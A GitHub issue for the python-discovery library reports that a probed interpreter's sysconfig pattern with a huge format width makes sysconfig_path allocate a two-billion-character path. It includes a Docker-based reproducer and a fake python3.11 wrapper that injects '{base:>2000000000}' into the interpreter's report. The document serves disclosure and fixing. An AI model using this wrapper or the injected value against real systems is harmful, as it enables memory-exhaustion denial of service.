Skip to content

Sysconfig format widths can allocate gigabyte paths #199

Closed

Description

@gaborbernat

A probed interpreter's sysconfig path pattern can make PythonInfo.sysconfig_path() allocate a path over a billion characters long.

Affected code

src/python_discovery/_py_info.py:142 at the reported commit. The reproducer also returns BUG on current main 004294957ed227fe7e52b2864952ba09fd28b220.

Mechanism

The method feeds the interpreter-reported pattern to str.format, so a field width in that pattern controls the allocation.

Reproduction

Check out the reported commit or current main. Save the files below as named, then build and run:

docker build -t python-discovery-audit -f - . <<'DOCKERFILE'
FROM python:3.15-bookworm
RUN python -m venv /opt/venv
ENV PATH=/opt/venv/bin:$PATH
COPY . /src
WORKDIR /src
ENV SETUPTOOLS_SCM_PRETEND_VERSION=1.9.1
RUN pip install -e . --group test
DOCKERFILE
docker run --rm --network=none --memory=2g -u 0 -w /src \
  -v "$PWD/repro:/tmp/repro:ro" -v "$PWD/repro.d:/tmp/repro.d:ro" \
  python-discovery-audit /tmp/repro

repro

#!/usr/bin/env python3
import json
import os
import shutil
import subprocess
import tempfile
from pathlib import Path

PYTHON = "/opt/venv/bin/python"  # the image's venv, with python-discovery installed from /src
CALLER = "/tmp/repro.d/find_site_packages.py"
work = Path(tempfile.mkdtemp())


def find_site_packages(path_dir):
    """Run the caller with path_dir as its whole PATH and an empty cache; return its JSON report and peak RSS in MiB."""
    cache_dir = tempfile.mkdtemp(dir=work)
    caller = subprocess.Popen([PYTHON, CALLER, path_dir, cache_dir], stdout=subprocess.PIPE, text=True)
    output = caller.stdout.read()
    _, status, usage = os.wait4(caller.pid, 0)
    assert status == 0, "the caller failed"
    return json.loads(output), usage.ru_maxrss >> 10  # Linux reports KiB


# set up: a PATH directory whose only entry is the attacker's python3.11
path_dir = work / "bin"
path_dir.mkdir()
candidate = path_dir / "python3.11"
shutil.copy("/tmp/repro.d/python3.11_wide_purelib", candidate)
candidate.chmod(0o755)

# control: the same caller, finding the honest /usr/bin/python3.11
control, control_mib = find_site_packages("/usr/bin")
print(f"CONTROL  selected {control['executable']}, purelib pattern {control['purelib_pattern']!r}")
print(f"CONTROL  site-packages path: {control['site_packages_length']} characters, caller peak RSS {control_mib} MiB")

# attack
observed, observed_mib = find_site_packages(str(path_dir))
print(f"OBSERVED selected {observed['executable']}, purelib pattern {observed['purelib_pattern']!r}")
print(f"OBSERVED site-packages path: {observed['site_packages_length']} characters, caller peak RSS {observed_mib} MiB")
print(f"OBSERVED path ends in {observed['site_packages_tail']!r}")
shutil.rmtree(work)

# check: one path string of over a billion characters, and the caller paid for it in memory
print("BUG" if observed["site_packages_length"] > 10**9 and observed_mib > 1024 else "OK")

repro.d/find_site_packages.py

import json
import sys
from pathlib import Path

from python_discovery import DiskCache, get_interpreter

path_dir, cache_dir = sys.argv[1:]
info = get_interpreter("3.11", env={"PATH": path_dir}, cache=DiskCache(Path(cache_dir)))
site_packages = info.install_path("purelib")

print(
    json.dumps({
        "executable": info.executable,
        "purelib_pattern": info.sysconfig_paths["purelib"],
        "site_packages_length": len(site_packages),
        "site_packages_tail": site_packages[-40:],
    })
)

repro.d/python3.11_wide_purelib

#!/usr/bin/python3.11
import subprocess
import sys

# argv[0] stays this file's path, so the real 3.11 answers the interrogation naming this file as the interpreter
answer = subprocess.run(
    sys.argv, executable="/usr/bin/python3.11", stdout=subprocess.PIPE, text=True, check=True
).stdout
sys.stdout.write(answer.replace('"purelib": "{base}', '"purelib": "{base:>2000000000}'))

Output on 004294957ed227fe7e52b2864952ba09fd28b220:

CONTROL  selected /usr/bin/python3, purelib pattern '{base}/lib/python{py_version_short}/site-packages'
CONTROL  site-packages path: 28 characters, caller peak RSS 24 MiB
OBSERVED selected /tmp/tmp3j82sgys/bin/python3.11, purelib pattern '{base:>2000000000}/lib/python{py_version_short}/site-packages'
OBSERVED site-packages path: 2000000029 characters, caller peak RSS 1931 MiB
OBSERVED path ends in '           /lib/python3.11/site-packages'
BUG

Expected: The method should reject or bound format widths supplied by the interpreter.

Impact

Reproducibility is moderate because the setup requires a specific candidate or configuration. Exposure is unlikely: a candidate executable must report a malformed sysconfig pattern and the caller must request that path. The reproduced effect stays within the caller's configured cache, search path, or interpreter.

Credits

Reported by Anthropic's OSS Scanner: ANT-2026-XID4AAXX.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    bugSomething isn't working

    Type

    No type

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions